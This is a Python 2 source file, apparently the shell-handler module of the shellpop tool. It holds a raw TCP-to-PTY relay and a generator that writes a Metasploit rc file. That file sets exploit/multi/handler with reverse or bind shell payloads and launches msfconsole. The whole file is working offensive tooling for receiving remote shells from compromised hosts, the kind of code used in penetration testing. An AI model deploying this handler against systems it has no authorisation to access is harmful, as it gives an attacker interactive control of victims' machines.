#!/usr/bin/env python2
# Full stager remake. Now I am going to lead a major change in this functionality.
# I am going to lendo multi/handler module of Metasploit Framework to do this job.
# This is going to be done mostly because of meterpreter upgrade possibility.

from shellpop import *
from time import sleep
import termios
import select
import socket
import os
import fcntl
import string
import random
from os import path, system

class PTY:
    def __init__(self, slave=0, pid=os.getpid()):
        # apparently python GC's modules before class instances so, here
        # we have some hax to ensure we can restore the terminal state.
        self.termios, self.fcntl = termios, fcntl

        # open our controlling PTY
        self.pty  = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+")

        # store our old termios settings so we can restore after
        # we are finished
        self.oldtermios = termios.tcgetattr(self.pty)

        # get the current settings se we can modify them
        newattr = termios.tcgetattr(self.pty)

        # set the terminal to uncanonical mode and turn off
        # input echo.
        newattr[3] &= ~termios.ICANON & ~termios.ECHO

        # don't handle ^C / ^Z / ^\
        newattr[6][termios.VINTR] = '\x00'
        newattr[6][termios.VQUIT] = '\x00'
        newattr[6][termios.VSUSP] = '\x00'

        # set our new attributes
        termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr)

        # store the old fcntl flags
        self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL)
        # fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC)
        # make the PTY non-blocking
        fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK)

    def read(self, size=8192):
        return self.pty.read(size)

    def write(self, data):
        ret = self.pty.write(data)
        self.pty.flush()
        return ret

    def fileno(self):
        return self.pty.fileno()

    def __del__(self):
        # restore the terminal settings on deletion
        self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios)
        self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags)


class TCP_PTY_Handler(object):
    def __init__(self, addr, bind=True):
        self.bind = bind
        self.addr = addr

        if self.bind:
            self.sock = socket.socket()
            self.sock.bind(self.addr)
            self.sock.listen(5)

    def handle(self, addr=None):
        addr = addr or self.addr
        if self.bind is True:
            print(info("Waiting for connections ..."))
            sock, addr = self.sock.accept()
            print(info("Connection inbound from {0}:{1}".format(self.addr[0], self.addr[1])))
        else:
            sock = socket.socket()
            print(info("Waiting up to 10 seconds to start establishing the connection ..."))
            sleep(10)

            print(info("Connecting to remote endpoint ..."))
            n = 0
            while n < 10:
                try:
                    sock.connect(addr)
                    print(info("Connection to remote endpoint established."))
                    break
                except socket.error:
                    print(error("Connection could not be established."))
                    n += 1
                    sleep(5)


        # create our PTY
        pty = PTY()

        # input buffers for the fd's
        buffers = [ [ sock, [] ], [ pty, [] ] ]
        def buffer_index(fd):
            for index, buffer in enumerate(buffers):
                if buffer[0] == fd:
                    return index

        readable_fds = [ sock, pty ]

        data = " "
        # keep going until something deds
        while data:
            # if any of the fd's need to be written to, add them to the
            # writable_fds
            writable_fds = []
            for buffer in buffers:
                if buffer[1]:
                    writable_fds.append(buffer[0])

            r, w, x = select.select(readable_fds, writable_fds, [])

            # read from the fd's and store their input in the other fd's buffer
            for fd in r:
                buffer = buffers[buffer_index(fd) ^ 1][1]
                if hasattr(fd, "read"):
                    data = fd.read(8192)
                else:
                    data = fd.recv(8192)
                if data:
                    buffer.append(data)

            # send data from each buffer onto the proper FD
            for fd in w:
                buffer = buffers[buffer_index(fd)][1]
                data = buffer[0]
                if hasattr(fd, "write"):
                    fd.write(data)
                else:
                    fd.send(data)
                buffer.remove(data)

        # close the socket
        sock.close()


def error(err):
    return "[\033[091m!\033[0m] Error: {0}".format(err)


def random_file(n=10):
    """
    Generates a random rc file in /tmp/folder.
    """
    file_name = str()
    while len(file_name) < n:
        chosen = list(string.letters)[random.randint(1, len(string.letters))-1]
        file_name += chosen
    return "/tmp/" + file_name + ".rc"


class MetaHandler(object):
    def __init__(self):
        self.host = None
        self.port = None
        self.shell = None
        self.payload = None

    def check_system(self, is_bind=False):
        if self.shell.lower() == "cmd":
            if is_bind is False:
                self.payload = "windows/shell_reverse_tcp"
            else:
                self.payload = "windows/shell_bind_tcp"
            return
        elif self.shell.lower() == "powershell":
            if is_bind is False:
                self.payload = "windows/shell_reverse_tcp"
            else:
                self.payload = "windows/shell_bind_tcp"
            return
        elif self.shell.lower() == "bash":
            if is_bind is False:
                self.payload = "linux/x86/shell_reverse_tcp"
            else:
                self.payload = "linux/x86/shell_bind_tcp"
            return
        self.payload = "generic/shell_reverse_tcp"


class Generic(MetaHandler):
    def __init__(self, conn, shell, is_bind=False):
        self.file_name = random_file()
        self.host = conn[0]
        self.port = conn[1]
        self.shell = shell
        self.check_system(is_bind=is_bind)  # sets self.payload

    def generate_rc_content(self, meterpreter=False):
        """
        Generate a rc content to be used in metasploit.
        """

        # This sets the basic information to our handler module.
        base_rc = "set SessionLogging true\nset TimestampOutput true\nset VERBOSE true\n use exploit/multi/handler\nset PAYLOAD {0}\nset LHOST {1}\nset LPORT {2}\n".format(self.payload, self.host, self.port)

        #  This is not yet implemented.
        #if meterpreter is True:  # Haha! Lets upgrade this!
        #    base_rc += "set AutoRunScript post/multi/manage/shell_to_meterpreter\n"

        # After everything is set, we need to finish it with "run"
        base_rc += "run\n"

        return base_rc

    def _generate_execution_string(self):
        return "msfconsole -q -r {0}".format(self.file_name)

    def generate_and_execute(self, meterpreter=False):
        if path.exists(self.file_name):
            print(error("File already exists! Aborting :("))
            return None
        with open(self.file_name, "wb") as f:
            f.write(self.generate_rc_content(meterpreter=meterpreter))

        # Execute our .rc file to open metasploit handler.
        system("""xterm  -fn "-misc-fixed-medium-r-normal--18-*-*-*-*-*-iso8859-15" +sb -geometry 100x25+0+0 -e """ + self._generate_execution_string())


def get_shell_name(shell_obj):
    """
    This ridiculously simple function is enough to determine
    the receiving shell type for meterpreter upgrade.
    """
    if shell_obj.system_os == "linux":
        return "bash"
    if shell_obj.system_os == "windows":
        if "powershell" in shell_obj.short_name:
            return "powershell"
        else:
            return "cmd"


def reverse_tcp_handler((args, shell)):
    shell_name = get_shell_name(shell)
    handler = Generic((args.host, args.port), shell_name, is_bind=False)
    handler.generate_and_execute()


def bind_tcp_handler((args, shell)):
    shell_name = get_shell_name(shell)
    handler = Generic((args.host, args.port), shell_name, is_bind=True)
    handler.generate_and_execute()


# I am keeping these handlers because of @Lowfuel

def bind_tcp_pty_handler((args, shell)):
    handler = TCP_PTY_Handler((args.host, args.port), bind=False)
    handler.handle()


def reverse_tcp_pty_handler((args, shell)):
    handler = TCP_PTY_Handler((args.host, args.port), bind=True)
    handler.handle()